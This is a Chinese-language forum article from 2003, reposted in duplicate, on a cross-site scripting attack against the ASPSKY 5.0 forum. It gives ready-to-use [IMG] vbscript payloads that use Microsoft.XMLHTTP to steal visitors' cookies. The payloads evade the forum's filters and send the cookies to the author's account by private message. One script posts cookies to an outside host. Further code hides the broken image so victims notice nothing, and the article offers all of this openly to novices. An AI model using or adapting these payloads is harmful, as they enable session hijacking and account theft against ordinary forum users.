利用Microsoft.XMLHTTP控件發(fā)送COOKIE
更新時間:2006年09月04日 00:00:00 作者:
作者:czy <czy82@elong.com>
出處:http://www.nsfocus.net
日期:2003-09-03
(注意由于論壇會對文章中的一些字符作處理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm測試代碼)
跨站腳本攻擊想必各位都已經(jīng)是很熟悉了,但是得到COOKIE的時候一直有一個
問題:總是要用WINDOW.OPEN彈一個窗體出來然后發(fā)送COOKIE,這樣隱秘性
就大打折扣了。以前我想了一個在網(wǎng)頁中用insertAdjacentHTML方法來注入HTML語句
的辦法勉強可以作到發(fā)送COOKIE不出現(xiàn)IE窗口,但是在實際使用中有時會遇到IE出錯。
沒有更好的辦法了嗎?以前在研究VBS病毒自動升級的時候用到一個Microsoft.XMLHTTP
控件(該控件是WIN98/2K上都默認(rèn)自帶的東東,并且它是IE認(rèn)為safe的控件!),通過它我們
可以在網(wǎng)頁中給網(wǎng)站發(fā)送http請求,可以是POST也可以是GET.
好了思路已經(jīng)到這兒來,下面我們可以實戰(zhàn)一下,我以ASPSKY 5.0 0320為例子。
我們知道<IMG SRC="XXXXXXX">在SRC中可以寫入vbscript:這樣的語句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我們只能執(zhí)行一個語句,比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">這樣都將是錯誤的!
怎么辦法呢?在VBS中我們可以用EXECUTE語句,在JS中我們可以使用EVAL語!
比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')">
還沒有暈吧?上面你可能會注意到用VBS的execute語句時雙引號要換為"這是因為:
在VBS中單引號要括起字符串,必須是兩個單引號代表一個又引號,并且在雙引號內(nèi)!
所以在execute語句中我們不能用單引號,而直接用"呢,在HTML進行引號匹配的時候
會和src="后的引號匹配,所以我們只能用"代替了。
引號的問題解決了,在實際應(yīng)用中ASPSKY還會對我們的代碼進行處理:
1:如果發(fā)現(xiàn)script字串,會在前面加上一個空格
2:如果發(fā)現(xiàn)http字串會認(rèn)為是一個URL,并在兩邊加上<A>元素
3:如果發(fā)現(xiàn)空格會用 代替
解決問題:
1:vbscript用vbsCript代替
2:http用,""ht""+""tp...代替(vbs中引號括引號里面的應(yīng)用多一對,+代表連接符)
3:空格用 代替(注不是)
在最后就是發(fā)送COOKIE的問題:
1:控件在本地可以GET,POST任意的網(wǎng)站,但是在網(wǎng)頁中竟然只能
GET,POST當(dāng)前服務(wù)器。。。。要不然IE就會說拒絕仿問!
2:cookie中不能有&等在URL中有特殊交意的字符
解決問題:
1:只能發(fā)給當(dāng)前服務(wù)器,那么可以把COOKIE發(fā)到你在論壇上的注冊的用戶的郵箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替換函用,在例子中我把"&"換成了"-"
問題都解決了下面是實際的例子:
動網(wǎng)aspsky 5.0 0320測試成功
//----------------------
[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=發(fā)送&message=""&dat,false:http.send")[/IMG]
說明:把COOKIE發(fā)給CZY用戶,郵件標(biāo)題叫news
//----------------------
另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>
讓代碼更完美,現(xiàn)在COOKIE已經(jīng)乖乖的在我們的郵箱里了,但是有一個小問題由于圖片不
能正常的顯示會是一個小叉,旁邊還有按此在新窗口瀏覽圖片的提示。。。這又難免會讓人
生疑。
解決思路:
一個網(wǎng)頁中的所有IMG元素通過document.imanges都能例舉到,并且可以設(shè)置它們的大小,當(dāng)width=0時就
相當(dāng)于HIDDEN了.通過比較元素的src屬性的值是否含有"ript"就可以判斷是不是我們的圖片.另外比較時
大于符用>代替,0用0代替!
代碼:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/IMG]
實際應(yīng)用的代碼:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=發(fā)送&message=""&dat,false:http.send")[/IMG]
//-------------------方便菜鳥使用:)
[Ctrl+A 全選 注:引入外部Js需再刷新一下頁面才能執(zhí)行]
出處:http://www.nsfocus.net
日期:2003-09-03
(注意由于論壇會對文章中的一些字符作處理,所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm測試代碼)
跨站腳本攻擊想必各位都已經(jīng)是很熟悉了,但是得到COOKIE的時候一直有一個
問題:總是要用WINDOW.OPEN彈一個窗體出來然后發(fā)送COOKIE,這樣隱秘性
就大打折扣了。以前我想了一個在網(wǎng)頁中用insertAdjacentHTML方法來注入HTML語句
的辦法勉強可以作到發(fā)送COOKIE不出現(xiàn)IE窗口,但是在實際使用中有時會遇到IE出錯。
沒有更好的辦法了嗎?以前在研究VBS病毒自動升級的時候用到一個Microsoft.XMLHTTP
控件(該控件是WIN98/2K上都默認(rèn)自帶的東東,并且它是IE認(rèn)為safe的控件!),通過它我們
可以在網(wǎng)頁中給網(wǎng)站發(fā)送http請求,可以是POST也可以是GET.
好了思路已經(jīng)到這兒來,下面我們可以實戰(zhàn)一下,我以ASPSKY 5.0 0320為例子。
我們知道<IMG SRC="XXXXXXX">在SRC中可以寫入vbscript:這樣的語句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我們只能執(zhí)行一個語句,比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">這樣都將是錯誤的!
怎么辦法呢?在VBS中我們可以用EXECUTE語句,在JS中我們可以使用EVAL語!
比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval('alert(\'nsfocus\');alert(\'czy\')')">
還沒有暈吧?上面你可能會注意到用VBS的execute語句時雙引號要換為"這是因為:
在VBS中單引號要括起字符串,必須是兩個單引號代表一個又引號,并且在雙引號內(nèi)!
所以在execute語句中我們不能用單引號,而直接用"呢,在HTML進行引號匹配的時候
會和src="后的引號匹配,所以我們只能用"代替了。
引號的問題解決了,在實際應(yīng)用中ASPSKY還會對我們的代碼進行處理:
1:如果發(fā)現(xiàn)script字串,會在前面加上一個空格
2:如果發(fā)現(xiàn)http字串會認(rèn)為是一個URL,并在兩邊加上<A>元素
3:如果發(fā)現(xiàn)空格會用 代替
解決問題:
1:vbscript用vbsCript代替
2:http用,""ht""+""tp...代替(vbs中引號括引號里面的應(yīng)用多一對,+代表連接符)
3:空格用 代替(注不是)
在最后就是發(fā)送COOKIE的問題:
1:控件在本地可以GET,POST任意的網(wǎng)站,但是在網(wǎng)頁中竟然只能
GET,POST當(dāng)前服務(wù)器。。。。要不然IE就會說拒絕仿問!
2:cookie中不能有&等在URL中有特殊交意的字符
解決問題:
1:只能發(fā)給當(dāng)前服務(wù)器,那么可以把COOKIE發(fā)到你在論壇上的注冊的用戶的郵箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替換函用,在例子中我把"&"換成了"-"
問題都解決了下面是實際的例子:
動網(wǎng)aspsky 5.0 0320測試成功
//----------------------
[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=發(fā)送&message=""&dat,false:http.send")[/IMG]
說明:把COOKIE發(fā)給CZY用戶,郵件標(biāo)題叫news
//----------------------
另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>
讓代碼更完美,現(xiàn)在COOKIE已經(jīng)乖乖的在我們的郵箱里了,但是有一個小問題由于圖片不
能正常的顯示會是一個小叉,旁邊還有按此在新窗口瀏覽圖片的提示。。。這又難免會讓人
生疑。
解決思路:
一個網(wǎng)頁中的所有IMG元素通過document.imanges都能例舉到,并且可以設(shè)置它們的大小,當(dāng)width=0時就
相當(dāng)于HIDDEN了.通過比較元素的src屬性的值是否含有"ript"就可以判斷是不是我們的圖片.另外比較時
大于符用>代替,0用0代替!
代碼:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/IMG]
實際應(yīng)用的代碼:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=發(fā)送&message=""&dat,false:http.send")[/IMG]
//-------------------方便菜鳥使用:)
[Ctrl+A 全選 注:引入外部Js需再刷新一下頁面才能執(zhí)行]